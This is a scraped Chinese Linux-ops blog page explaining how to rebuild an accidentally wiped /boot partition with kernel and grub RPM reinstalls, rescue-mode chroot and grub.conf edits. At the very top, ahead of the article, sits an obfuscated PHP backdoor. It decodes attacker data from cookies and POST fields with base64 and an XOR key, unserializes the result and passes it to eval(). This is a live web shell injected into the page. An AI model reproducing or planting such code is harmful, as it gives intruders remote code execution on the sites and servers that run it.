$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux boot分区意外格式化或清除之后… | Linux运维部落

Linux boot分区意外格式化或清除之后…

boot分区在没有备份的情况下意外被清空,包括启动引导信息也没了。这时若Linux还在运行,那你是幸运的,

修复的方法:

1. cat  /etc/*release      #赶快先确定当前系统的具体版本。有ISO镜像赶快挂载上来.
   或  lsb_release -a      #或赶快找到对应版本的: >> kernel-`uname -r`.rpm 和 对应的grub-*.rpm 
   或  cat /proc/version

2. 找到当前系统的ISO镜像则:

mount -o loop /path/to/file.iso  /mnt/iso 
cd /mnt/iso/
find . -name 'kernel-*.rpm' -o -name 'grub-*.rpm'
umount /boot              #先卸载boot分区的挂载
mkfs.ext2  /dev/sda1      #注:此假设为boot分区。
mount /dev/sda1 /boot 
rpm -ivh --root=/ --force kernel-`uname -r`.rpm  #"--root=/"指定其安装的相对目录为"/"下的boot.它主要安装Kernel和驱动(ko);
                                                #vmlinuz:此为Linux的kernel文件. 
                                                #initramfs:此为Linux2.6的initrd文件,它包含了当前主机的磁盘驱动,
                                                #以便kernel可识别磁盘设备.
rpm -ivh --root=/ --force grub-*.rpm    #1. 它将安装grub、grub-install等到系统中.它不是必须安装的,
                                        #    若你的系统中已经可以使用grub-install,也可不安装.但你需要做以下操作:
                           #(1) mkdir /boot/grub/
                           #(2) cp  /usr/share/grub/`uname -m`-redhat/*  /boot/grub/,这里复制的文件是安装系统是创建的备份文件.
                           #    <1> stage1 :此为MBR引导信息(Bootloader)的备份.实际上就是磁盘0扇区446字节的备份文件。
                           #    <2> jfs_stage1_5,fat_stage1_5,xfs_stage1_5,iso9660_stage1_5,e2fs_stage1_5都是不同类型的文件系统,
                           #        bootloader通过它们来识别不同的boot分区,以便去查找stage2文件。
                           #    <3> stage2: 它会去找/boot/grub/grub.conf 来显示启动菜单.
                           
grub-install  /dev/sda          #这一步是安装启动引导,正常情况下:开机Post硬件自检-->
                                #BIOS按启动顺序设定去找Disk、CDROM、PXE等方式启动-->
                                #一般为Disk引导,当BIOS检查到Disk上第一个可用的MBR引导(bootloader)后-->
                                #bootloader显示启动菜单-->
                                #选择启动系统后-->
                                #bootloader依启动系统所在分区信息找到该OS的Kernel和initrd并装载到内存特定位置-->
                                #Kernel启动并检查initrd是否为cpio格式-->
                                #是则解压cpio到kernel初始化的rootfs文件系统中-->
                                #执行initrd中的init进程-->kernel退出,init进程启动.

若系统不幸已经关机,那么可通过以下方式急救:

1. PXE方式:

    这里具体如何部署PXE环境,就不做介绍了。
    这里我测试的环境是Cobbler代替PXE来做测试。

   启动Cobbler后,进入/var/lib/tftpboot目录下。

   service httpd start    
   service cobblerd  start   
   service dnsmsaq start
   cd  /var/lib/tftpboot
   <1> vim pexlinux.cfg/default 
    【
        LABEL CDLinux
        kernel memdisk raw iso initrd=BT8_cdlinux_net.iso  
        # 注意: BT8镜像是放在/var/lib/tftpboot/下的。
        # memdisk :引导IMG、IMA、ISO映像所必须加载的文件,它也可用来加载WinPE.ISO来提供网络PE.
        #     但需要注意的是:ISO文件在网络启动时,不支持外置应用程序,也就是说ISO镜像必须是将所有应用
        #     软件都安装到ISO镜像内的系统目录中才行。
            
    】

   <2> 注: 若CDLinux中不确定是否有支持Linux服务器的网卡驱动,建议先准备一个U盘,并将当前系统的ISO文件或直接将kernel-`uname -r`.rpm 和 grub-*.rpm拷贝到U盘上,然后,直接插到服务器上,在来从网络启动CDLinux.这样它会自动加载USB的驱动,并将其挂载到/media目录下。

   <3> 进入CDLinux后,操作方法就与CDROM的方式类似了。可直接参考CDROM方式即可。

   

2. CDROM方式:

这种方式最简单,也最靠谱,但你的Linux服务器需要有CDROM 和 一张Linux发行版镜像光盘。若没有这就不行了。

操作方法:

1. 修改BIOS,将CDROM作为首选启动项。

2. Linux光盘可任意发行版,但注意它必须支持Rescue模式。
        如:CentOS6.4的光盘引导中有"Rescue installed system"
           CentOS5 和Redhat5 的光盘启动后,可在 boot: 处输入: linux rescue回车进入Rescue模式。

3. 进入后,过程基本都一样.一路回车.但需要注意: 一定要配置好网络连接,给自己留条后路。最后它会自动检测磁盘上的根文件系统,若成功检测到,则会将其挂载到/mnt/sysimage上。接着,就会进入一个shell。

4. 进入shell后,可 chroot  /mnt/sysimage ,来切换到故障系统中。

5. 检查当前挂载的文件系统有哪些。

    df -Th

6. 尝试挂载boot分区到/boot下,若提示buzy或已挂载的错误,则先退出chroot模式。到最初shell界面,再次执行"df -Th" 查看是否挂载了/dev/sda1. 若已经挂载则先卸载它。

7. 注意: 

    做下面操作的前提是, chroot /mnt/sysimage  –>  mount /dev/sda1 /boot后。

<1> mount /dev/sr0 /mnt/cdrom     #这是假设你使用的光盘是当前系统的安装光盘.
<2> cd /mnt/cdrom/Package/        #这是假设你的系统是Redhat或CentOS,并且光盘是Redhat或CentOS的光盘.

<3> 强制安装kernel和grub

#注:若光盘不是当前系统的光盘,你就必须保障你的系统可以联网。然后,下载与当前系统版本一致的rpm包。
rpm -ivh --root=/ --force kernel-`uname -r`.rpm
rpm -ivh --root=/ --force grub-*.rpm  #注: grub-*.rpm可不需要,但你必须保证系统中可以使用dd命令。

<4> 安装Bootloader到0扇区

    grub-install /dev/sda
    #若你没有安装grub-*.rpm,系统中也没有grub-install命令,那你就必须保证系统中有dd命令了,
    # 否则就只能下载一个grub或dd包.接着执行以下命令: 
    #    <1> mkdir /boot/grub
    #    <2> cp /usr/share/grub/`uname -m`-redhat/*  /boot/grub/
    #    <3> dd if=/boot/grub/stage1  of=/dev/sda  bs=446  count=1

<5> 修改/etc/fstab

vim /etc/fstab

    /dev/sda1  /boot  ext2 defaults 1 2     #若之前是UUID,则这里可先手动改成磁盘路径。
    /dev/sda2 / ext4 defaults 1 1           #因为每次格式磁盘后,UUID会发生改变,为确保万无一失,这里可先该成磁盘路径.
    /dev/sda3 swap swap defaults    0 0

<6> 创建grub.conf

vim  /boot/grub/grub.conf 

default=0
timeout=5
splashimage=(hd0,0)/grub/splash.xpm.gz  #注: 若/boot/grub/下没有这个图片文件,这里最好注释掉。
hiddenmenu
title Red Hat Enterprise Linux (2.6.32-358.el6.x86_64)
    root (hd0,0)
    #这里注意:kernel和initrd一定不能写错,kernel部分也可只写以下内容也可:
    #    "kernel /vmlinuz-2.6.32-358.el6.x86_64 ro root=/dev/sda2"
    #     但必须注意:root=LABEL=/
    #    root=UUID=....
    #    root=/dev/sda2 或是LVM路径等.
    kernel /vmlinuz-2.6.32-358.el6.x86_64 ro root=/dev/sda2 rd_NO_LUKS rd_NO_LVM.UTF-8 rd_NO_MD 
        SYSFONT=latarcyrheb-sun16 crashkernel=auto  KEYBOARDTYPE=pc KEYTABLE=us rd_NO_DM rhgb quiet
    initrd /initramfs-2.6.32-358.el6.x86_64.img

<7> 到此就修复boot分区完成了。接着reboot即可。

3. U盘启动CDLinux

这种方式我测试时,始终无法成功启动CDLinux.
若你已经能成功启动CDLinux,那这种方式当然也是可行的,也是最方便的。

原创文章,作者:Wn1m,如若转载,请注明出处:http://www.178linux.com/13007

(5)
上一篇 2016-03-22 10:43
下一篇 2016-03-22 10:47

相关推荐

  • 78 款 Markdown 工具

    Markdown 是一种易写易读的文本标记语言。本文介绍了编写、查看 Markdown 的78种工具,涵盖桌面端、移动端和 web 端。     Markable 强大的在线 Markdown 编辑器,支持语法高亮、自动缩进、高亮所在行、显示行数、即时预览。它支持将 HTML 转换成 Markdown。 可以配合 Evernote、Dro…

    2015-03-26
  • n22-第一次作业-对Linux基础知识的回顾

    1、描述计算机的组成及其功能   根据冯诺依曼计算机体系结构模型,计算机由运算器、控制器、存储器、输入设备、输出设备五大部分组成。如上图:    运算器主要由算数逻辑单元ALU和通用寄存器组成,主要用于完成算术运算和逻辑运算。      控制器是整个计算机的控制中心,它的主要功能是周而复始…

    Linux干货 2016-08-15
  • 使用iptables缓解DDOS及CC攻击

    缓解DDOS攻击 防止SYN攻击,轻量级预防 iptables -N syn-flood iptables -A INPUT -p tcp –syn -j syn-flood iptables -I syn-flood -p tcp -m limit –limit 3/s –limit-burst 6 -j RETURN iptables -A syn-fl…

    Linux干货 2015-02-09
  • 数组和变量之间的关系及如何灵活运用数组

    什么是数组?数组:存储多个元素的连续的内存空间,相当于多个变量的集合什么是变量? 变量即是存储单个元素的内存空间 如果整个数组只有一个名字;数组名是数组的标识;也是数组所指向的存储多个元素的连续的内存空间开始地址的标识;数组索引定义从 0 开始(第一个数组元素);到 N 结束引用某个数组元素时,数组名+【索引】格式:${ARRAY_NAM…

    Linux干货 2017-05-22
  • corosync+pacemaker+drbd+mysql来实现mysql的高可用和数据的同步

    实现拓扑图: 实验流程: 先对两主机安装上corosync和pacemaker 两主机安装drbd服务,并且设置好drbd的组设备 选择drbd主节点上,进行数据库的初始化 进行资源的定义和配置 测试 实验前,我们还需要做一些准备工作: 1、时间必须保持同步   使用ntp服务器 2、节点必须名称互相通信    解析节点名称 &…

    Linux干货 2015-11-10
  • Linux文本处理三剑客之sed

    处理文本工具sed sed是一种流编辑器,它一次处理一行内容。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有改变,除非你使用重定向存储输出。Sed主要用来自动编辑一个或多个文件,简化对文…

    Linux干货 2016-08-15

评论列表(1条)

  • stanley
    stanley 2016-03-22 10:46

    系统恢复是非常严肃的事情,如果真的出现这个问题我不会参考这篇文章,因为少了详细的背景描述和更专业的技术介绍